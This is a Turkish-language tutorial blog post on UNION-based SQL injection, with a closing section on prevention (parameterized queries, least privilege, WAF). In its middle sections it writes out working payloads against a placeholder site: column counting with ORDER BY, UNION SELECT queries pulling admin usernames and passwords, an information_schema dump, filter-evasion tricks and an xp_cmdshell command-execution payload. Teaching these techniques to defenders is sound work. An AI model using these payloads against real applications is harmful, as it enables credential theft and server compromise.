SQL Enjeksiyonu (SQLi), web uygulamalarını hedef alan en tehlikeli güvenlik açıklarından biridir ve onlarca yıldır hem geliştiricilerin hem de güvenlik uzmanlarının dikkatini çekmektedir. Bu saldırı türlerinden biri olan UNION tabanlı SQL Enjeksiyonu, özellikle veri sızdırma amaçlı kullanılan güçlü ve basit bir yöntem olarak öne çıkar. Bu blog yazısında, UNION tabanlı SQL Enjeksiyonunun nasıl çalıştığını, nasıl kötüye kullanılabileceğini ve bu saldırılara karşı nasıl önlem alınacağını kapsamlı bir şekilde ele alacağım. Ayrıca, pratik örneklerle konuyu daha anlaşılır hale getireceğim.
UNION Tabanlı SQL Enjeksiyonuna Giriş
SQL Enjeksiyonu, uygulamalarda kullanılan SQL sorgularının manipüle edilmesiyle veri tabanından istenmeyen bilgilerin çekilmesini veya komutlar çalıştırılmasını sağlayan bir güvenlik açığıdır. UNION tabanlı SQL Enjeksiyonu, SQL sorgularına UNION ifadesi ekleyerek saldırganın birden fazla sorguyu birleştirmesine olanak tanır. Bu yöntem, veritabanından gizli veya yetkisiz bilgilere erişmek için kullanılır.
Bu saldırı yöntemi, genellikle karmaşık payloadlar gerektirmediği için oldukça etkilidir. Saldırganlar, veritabanındaki tabloları, sütunları ve satırları inceleyerek yetkisiz bir şekilde kullanıcı adları, parolalar ve yönetici düzeyinde bilgileri elde edebilir.
UNION Operatörünün Anlaşılması
SQL’deki UNION operatörü, birden fazla SELECT sorgusunun sonuçlarını bir araya getirir. Başarılı bir UNION işlemi için şu koşulların sağlanması gerekir:
- Her iki sorgudaki sütun sayısı aynı olmalıdır.
- Karşılıklı sütunların veri türleri uyumlu olmalıdır.
- UNION ifadesi, yinelenen satırları otomatik olarak kaldırır, ancak UNION ALL kullanıldığında tüm satırlar listelenir.
SQL enjeksiyon saldırılarında saldırganlar, UNION
ile orijinal sorguya ek sorgular ekleyerek, meşru sonuçlarla birlikte kötü niyetli sonuçları da alabilir:
SELECT column1, column2 FROM table1
UNION
SELECT column1, column2 FROM table2;
UNION Tabanlı SQL Enjeksiyonunun Aşamaları
Zayıf Noktanın Bulunması
Bir SQL Enjeksiyonu saldırısının ilk adımı, zayıf bir giriş parametresini tespit etmektir. Örneğin, aşağıdaki gibi bir URL ile kullanıcı profillerine erişim sağlandığını düşünelim:
https://hello.com/profile.php?id=1
Bu URL’deki id parametresi veritabanına gönderilen SQL sorgusunda şu şekilde kullanılıyor olabilir:
SELECT username, email FROM users WHERE id = 1;
Saldırgan, id parametresine ek bir tek tırnak (‘) ekleyerek uygulamanın SQL Enjeksiyonuna duyarlı olup olmadığını test edebilir:
https://hello.com/profile.php?id=1'
Eğer sunucu hata döndürürse, bu SQL enjeksiyonu zayıflığı olduğuna dair güçlü bir işarettir.
Sütun Sayısının Belirlenmesi
UNION tabanlı SQL Enjeksiyonu gerçekleştirmek için, saldırganın orijinal sorgunun kaç sütun döndürdüğünü bilmesi gerekir. Bu, ORDER BY ifadesi kullanılarak test edilebilir:
https://hello.com/profile.php?id=1 ORDER BY 1--
https://hello.com/profile.php?id=1 ORDER BY 2--
https://hello.com/profile.php?id=1 ORDER BY 3--
Eğer sorgu ORDER BY 4 ifadesinde hata verirse, sorgunun 3 sütun döndürdüğü anlamına gelir.
Hassas Verilerin Çıkarılması
Sütun sayısı belirlendikten sonra, saldırgan UNION operatörü kullanarak hassas verileri çekebilir. Örneğin, 3 sütun olduğunu varsayalım:
https://hello.com/profile.php?id=1 UNION SELECT null, username, password FROM admin--
Bu sorguda null değeri, ilgilenmediğimiz sütunlar için bir yer tutucu olarak kullanılır. Bu şekilde, admin tablosundaki kullanıcı adları ve parolalar geri döner.
Yaygın Savunmaların Aşılması
Uygulama giriş verilerini temizliyorsa veya bazı savunmalar uyguluyorsa, saldırganlar şu teknikleri kullanarak bunları aşabilir:
- Kodlama: %27 karakteri ‘, %20 ise boşluk yerine kullanılır.
- Yorumlar: –, /* veya # gibi yorumlar kullanılarak sorguların geri kalan kısmı etkisiz hale getirilebilir.
- Büyük/Küçük Harf Değişimi: union → UNION veya karışık harflerle UnIoN.
Uygulamalı Örnekler
Kullanıcı Verilerinin Çıkarılması
Bir kullanıcı veritabanı sorgusunu düşünelim:
SELECT username, email FROM users WHERE id = '1';
Saldırgan, aşağıdaki yükü ekleyerek yönetici verilerini çıkarabilir:
?id=1 UNION SELECT null, username, password FROM admin--
Output:
username: admin
password: P@ssw0rd
Veritabanının Tamamının Dump Edilmesi
Bir kez temel erişim sağlandığında, saldırgan veritabanı şemasını şu sorgu ile inceleyebilir:
?id=1 UNION SELECT table_name, column_name FROM information_schema.columns--
Bu sorgu, tüm tablo ve sütun isimlerini listeler.
Komut Yürütme ile İleri Seviye Saldırılar
Eğer veritabanı izin veriyorsa, saldırgan depolanmış prosedürleri kullanarak OS komutları çalıştırabilir:
?id=1 UNION SELECT null, null, xp_cmdshell('dir')- -
Bu, hedef makinede komut çalıştırabilir ve saldırgana shell erişimi sağlayabilir.
Önleme Stratejileri
Parametrik Sorgular Kullanma: SQL enjeksiyonlarını önlemenin en etkili yolu, hazırlıklı sorgular kullanmaktır.
cursor.execute("SELECT username, email FROM users WHERE id = ?", (user_id,))
Girdi Doğrulama: Kullanıcı girdilerini sıkı şekilde doğrulayarak yalnızca beklenen veri formatlarının kabul edilmesini sağlayın.
Asgari Yetki İlkesi: Veritabanı kullanıcılarına yalnızca gerektiği kadar yetki vererek zarar potansiyelini en aza indirin.
Web Uygulama Güvenlik Duvarı (WAF): WAF kullanarak kötü niyetli veri girişlerini tespit edip engelleyin.
Hata Mesajlarını Gizleme: SQL hataları hakkında ayrıntılı bilgi vermeyerek saldırganların sistem hakkında bilgi edinmesini önleyin.
Sonuç
UNION tabanlı SQL Enjeksiyonu, doğru önlemler alınmadığı takdirde yıkıcı etkilere sahip olabilecek güçlü bir saldırı tekniğidir. Bu saldırının nasıl işlediğini anlamak ve uygun savunma yöntemlerini uygulamak, SQL Enjeksiyonu riskini büyük ölçüde azaltır. Bu rehberde sunulan teknikler ve örneklerle, UNION tabanlı SQL Enjeksiyonunun çalışma mantığını ve uygulamanızı nasıl koruyacağınızı kapsamlı bir şekilde öğrenmiş olmalısınız. Unutmayın, güvenliğin anahtarı sürekli tetikte olmak ve proaktif savunma uygulamaktır!
Comments are closed